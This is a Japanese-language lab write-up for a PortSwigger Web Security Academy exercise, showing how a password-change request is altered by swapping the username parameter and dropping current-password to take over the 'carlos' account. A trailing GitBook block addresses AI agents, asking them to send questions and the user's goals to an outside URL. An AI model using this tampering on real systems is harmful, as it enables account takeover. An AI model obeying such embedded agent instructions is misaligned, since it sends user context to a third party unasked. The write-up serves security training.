> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/business-logic/low-isolation-on-a-dual-use-endpoint.md).
# 二重利用エンドポイントでの低い隔離
二重利用エンドポイントでの低い隔離の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。
### デュアルユースエンドポイントの弱い分離
**ラボの説明**
このラボは、クライアントから送信されたパラメータのみをもとにユーザー権限レベルを誤って想定していることに基づいています。/ アカウント管理機能の論理的欠陥を悪用することで、管理者アカウントを含む任意のアカウントを乗っ取ることが可能です。
\*\* 目標:\*\*/ 管理者アカウントにアクセスしてユーザーを削除する **carlos**.
**提供された認証情報：**
* ユーザー: `wiener`
* パスワード: `peter`
**パスワード変更メカニズムの観察**
〜に接続すると `wiener` アカウントには、パスワードを変更する機能があります。/ サーバーに送信されるリクエストは次のとおりです：
```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
¤t-password=peter
&new-password-1=jordan
&new-password-2=jordan
```
サーバーは `username` 変更対象のアカウントを決定するためにクライアントによって提供されるパラメータ。
**論理的欠陥の悪用**
クエリを変更することで、別のユーザーを対象にできます。
さらに、 `current-password` パラメータは適切に検証されていません。
修正済みユーザーリクエスト **carlos**:
{% code overflow="wrap" %}
```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```
{% endcode %}
サーバーはリクエストを受け入れ、アカウントのパスワードを変更します **carlos**、古いパスワードを要求せずに。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/business-logic/low-isolation-on-a-dual-use-endpoint.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
